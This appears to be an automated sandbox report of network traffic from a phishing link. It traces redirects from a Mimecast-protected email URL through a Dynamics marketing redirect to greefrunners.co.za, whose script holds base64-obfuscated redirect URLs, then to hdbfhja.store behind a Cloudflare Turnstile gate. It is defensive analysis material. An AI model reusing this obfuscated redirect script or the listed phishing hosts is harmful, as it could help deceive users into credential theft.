May 7, 2024 20:32:09.444430113 CEST	1.1.1.1	192.168.2.4	0xe33d	No error (0)	b-0004.b-dc-msedge.net		13.107.9.156	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:09.444940090 CEST	1.1.1.1	192.168.2.4	0xe07	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:09.444940090 CEST	1.1.1.1	192.168.2.4	0xe07	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:10.012307882 CEST	1.1.1.1	192.168.2.4	0xbe43	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:10.012307882 CEST	1.1.1.1	192.168.2.4	0xbe43	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:10.012307882 CEST	1.1.1.1	192.168.2.4	0xbe43	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:11.519805908 CEST	1.1.1.1	192.168.2.4	0x771f	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:11.519805908 CEST	1.1.1.1	192.168.2.4	0x771f	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:11.519805908 CEST	1.1.1.1	192.168.2.4	0x771f	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
May 7, 2024 20:32:13.592016935 CEST	1.1.1.1	192.168.2.4	0x19fd	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 20:32:13.592016935 CEST	1.1.1.1	192.168.2.4	0x19fd	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

url.us.m.mimecastprotect.com

fs.microsoft.com

https:

public-usa.mkt.dynamics.com

greefrunners.co.za

hdbfhja.store

challenges.cloudflare.com

ihvnbhbvhbasdjbhjvbfh.site

outlook.office365.com

aadcdn.msftauth.net

aadcdn.msauth.net

www.office.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	205.139.111.117	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:02 UTC	721	OUT	GET /s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net HTTP/1.1 Host: url.us.m.mimecastprotect.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:03 UTC	2819	IN	HTTP/1.1 307 Temporary Redirect Date: Tue, 07 May 2024 18:31:02 GMT Content-Length: 0 Connection: close Location: https://url.us.m.mimecastprotect.com/r/fcFRggr_7D48VHm_j6RctLxcw8sPa_TElsPFMjzQm_LCshc9gVJTbgRfVTGuno526DZ05VCsTFwbG4Ajv-sHoGtFagMQ0NHiZWe8J3PikeRm_6zX7liVrGai0VkGk-I2AwLpzD2-3er8vgiklGXM7z5q58pqzvmyHKBQBYn-g0zVdAHC3RRWZ9OaAPpEffxsohlLkdMmotklWxcZtEGZ_hYFOfqSp50FslOwPvoAd6YS5WVToHLoo-Fmi2IFtmcyZ6TZFtN18-8SBdCJgChAROnmxcEqQ3Riv-4UvDfDFfiZsUVJtcVle3a_ezS1BtmNnKZoNC4gle_81P0bmBB4LTmi6peOPq-uSjOliD6M6U9nhpeOQcVAGy_UT9jXkMa8rfoR-xH9w9Gw1WmN6ZszerOhll6pL5QLwP7s2bcHG9U0hqwdLbPRL7v1IIt5ZjNjzy6S2So7v0j7yCkwFh2GAeXktumgaXTjtqnp7ksdBnbUO48ZFwBm64Z05wMvVe-PyZml78SYOLoyP3D-MD4FP_MY6qaQib_sQMflCGO8BeFnUFM4fq1D_TWWiMTiedDv0mYvEABkmKU5kOBxufIgqqqeqDdshkCX8mlcgnnu-Ikd6YJ5PJ5kToV9_4FVkThroztcy6r8q8jU-4apmPhzInEqGvSYhRxvUW9S-6xy-G-NuBbX-bS1jigT0zjutyM3KeP18btWHbj_mElLuuqK8T8B7Ll4UgPakHQ88vk9la9ygWLH4uziPi7xwLQGpzf-vUc0KNwemviUwlT07AsJeZ1kGWBfLuFJCrm-5TLybHiQFyMiyVzayOwxcdZNbsiiWqCV3j8BJlMmvbqqFdKsVXN0c21p2NwnYl_BahhkMhZh8HTJ5eCzt8jb_NVBhXRKaHn5nS_8PXIAovVpcJtbpspKS1O8YkaD9Qf6D0LokgAphe4i0T8EyT6dhdv4rfXKlZUAN4g-wHM8ljg [TRUNCATED] Cache-control: no-store Pragma: no-cache X-Robots-Tag: noindex, nofollow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	205.139.111.117	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:03 UTC	3255	OUT	GET /r/fcFRggr_7D48VHm_j6RctLxcw8sPa_TElsPFMjzQm_LCshc9gVJTbgRfVTGuno526DZ05VCsTFwbG4Ajv-sHoGtFagMQ0NHiZWe8J3PikeRm_6zX7liVrGai0VkGk-I2AwLpzD2-3er8vgiklGXM7z5q58pqzvmyHKBQBYn-g0zVdAHC3RRWZ9OaAPpEffxsohlLkdMmotklWxcZtEGZ_hYFOfqSp50FslOwPvoAd6YS5WVToHLoo-Fmi2IFtmcyZ6TZFtN18-8SBdCJgChAROnmxcEqQ3Riv-4UvDfDFfiZsUVJtcVle3a_ezS1BtmNnKZoNC4gle_81P0bmBB4LTmi6peOPq-uSjOliD6M6U9nhpeOQcVAGy_UT9jXkMa8rfoR-xH9w9Gw1WmN6ZszerOhll6pL5QLwP7s2bcHG9U0hqwdLbPRL7v1IIt5ZjNjzy6S2So7v0j7yCkwFh2GAeXktumgaXTjtqnp7ksdBnbUO48ZFwBm64Z05wMvVe-PyZml78SYOLoyP3D-MD4FP_MY6qaQib_sQMflCGO8BeFnUFM4fq1D_TWWiMTiedDv0mYvEABkmKU5kOBxufIgqqqeqDdshkCX8mlcgnnu-Ikd6YJ5PJ5kToV9_4FVkThroztcy6r8q8jU-4apmPhzInEqGvSYhRxvUW9S-6xy-G-NuBbX-bS1jigT0zjutyM3KeP18btWHbj_mElLuuqK8T8B7Ll4UgPakHQ88vk9la9ygWLH4uziPi7xwLQGpzf-vUc0KNwemviUwlT07AsJeZ1kGWBfLuFJCrm-5TLybHiQFyMiyVzayOwxcdZNbsiiWqCV3j8BJlMmvbqqFdKsVXN0c21p2NwnYl_BahhkMhZh8HTJ5eCzt8jb_NVBhXRKaHn5nS_8PXIAovVpcJtbpspKS1O8YkaD9Qf6D0LokgAphe4i0T8EyT6dhdv4rfXKlZUAN4g-wHM8ljgVkCk3uh5Lq_gVFqQ68AHM_8xrXxbhal7MUFNblcroQ [TRUNCATED] Host: url.us.m.mimecastprotect.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:05 UTC	920	IN	HTTP/1.1 307 Temporary Redirect Date: Tue, 07 May 2024 18:31:05 GMT Content-Length: 0 Connection: close Location: https://url2.mailanyone.net/scanner?m=1s3cWM-0007Zq-3j&d=4%7Cmail%2F90%2F1714917600%2F1s3cWM-0007Zq-3j%7Cin2c%7C57e1b682%7C28613012%7C14303582%7C663792961556323F60CA7719E24FBD2A&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm4sore6a1g%2F9-90e40-bd3-f16f8-193b04100e5di%2F5%2FKvEDrF30gZAMUpE-A4D1AQEAGZtaA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2fg52ueerFrornnz.c.es25a%25%25F%25222d22CrRei%252oOecstintp7%25%252%25A%25B233%2522n2%25A522%25ul1C%252l2u%25%252lAnl23d%25%257gD%26iD7U%3DesLtFOt8q8bqVJ1W8k02PQlIwVO4c2lKft5o%25BBn7e%25G1kRCes3DVcrt%26eaier8n%3D5so27754bdd9b3bbaf4343bee51eb8d6&s=WdYCVSQ9Sc0_DEjTfgsDBAJMLLE Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Cache-control: no-store Pragma: no-cache X-Robots-Tag: noindex, nofollow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:05 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-07 18:31:05 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0790) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=131555 Date: Tue, 07 May 2024 18:31:05 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:06 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-07 18:31:06 UTC	456	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=131536 Date: Tue, 07 May 2024 18:31:06 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-07 18:31:06 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49758	52.146.76.30	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:15 UTC	1018	OUT	GET /api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:16 UTC	348	IN	HTTP/1.1 302 Found Server: nginx Date: Tue, 07 May 2024 18:31:16 GMT Content-Length: 0 Connection: close Location: https://greefrunners.co.za/#msdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 x-ms-trace-id: 22d6b1684399e3c6353cb85ef3c85c5a Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49766	102.130.123.81	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:17 UTC	686	OUT	GET / HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:17 UTC	205	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:10 GMT Server: Apache Last-Modified: Tue, 07 May 2024 17:01:54 GMT Accept-Ranges: bytes Content-Length: 570 Connection: close Content-Type: text/html
2024-05-07 18:31:17 UTC	570	IN	Data Raw: 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 76 61 72 20 66 69 72 73 74 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 6d 59 57 4e 6c 59 6d 39 76 61 79 35 6a 62 32 30 3d 22 3b 0a 20 20 20 20 76 61 72 20 73 65 63 6f 6e 64 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 6f 5a 47 4a 6d 61 47 70 68 4c 6e 4e 30 62 33 4a 6c 4c 7a 39 34 5a 58 56 34 64 58 64 6a 5a 79 5a 78 63 6d 4d 3d 22 3b 0a 0a 20 20 20 20 2f 2f 20 4c 6f 61 64 20 74 68 65 20 66 69 72 73 74 20 55 52 4c 20 66 6f 72 20 61 20 66 65 77 20 73 65 63 6f 6e 64 73 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e Data Ascii: <script type="text/javascript"> var firstBase64Url = "aHR0cHM6Ly9mYWNlYm9vay5jb20="; var secondBase64Url = "aHR0cHM6Ly9oZGJmaGphLnN0b3JlLz94ZXV4dXdjZyZxcmM="; // Load the first URL for a few seconds setTimeout(function() { window.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49769	102.130.123.81	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:18 UTC	592	OUT	GET /favicon.ico HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:19 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 07 May 2024 18:31:11 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-05-07 18:31:19 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49770	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:20 UTC	754	OUT	GET /?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:21 UTC	485	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=lAILIerd6VqP; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; path=/; samesite=none; secure; httponly location: /?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Date: Tue, 07 May 2024 18:31:21 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:31:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49771	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:21 UTC	948	OUT	GET /?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
2024-05-07 18:31:21 UTC	142	IN	HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Date: Tue, 07 May 2024 18:31:21 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:31:21 UTC	3272	IN	Data Raw: 63 62 63 0d 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 0a 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d Data Ascii: cbc <!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"> </script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49772	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:21 UTC	572	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:21 UTC	336	IN	HTTP/1.1 302 Found Date: Tue, 07 May 2024 18:31:21 GMT Content-Length: 0 Connection: close cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/ce7818f50e39/api.js access-control-allow-origin: * cache-control: max-age=300, public Server: cloudflare CF-RAY: 880349591be0c342-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49773	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:22 UTC	556	OUT	GET /turnstile/v0/b/ce7818f50e39/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:22 UTC	346	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:22 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42566 Connection: close cross-origin-resource-policy: cross-origin access-control-allow-origin: * cache-control: max-age=604800, public Server: cloudflare CF-RAY: 8803495b99c841d3-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:22 UTC	1023	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 6c 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 6c 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,l,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,l)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,l){var s=e.apply(r,t);funct
2024-05-07 18:31:22 UTC	1369	IN	Data Raw: 72 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 6c 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 Data Ascii: r(function(l){return Object.getOwnPropertyDescriptor(e,l).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return 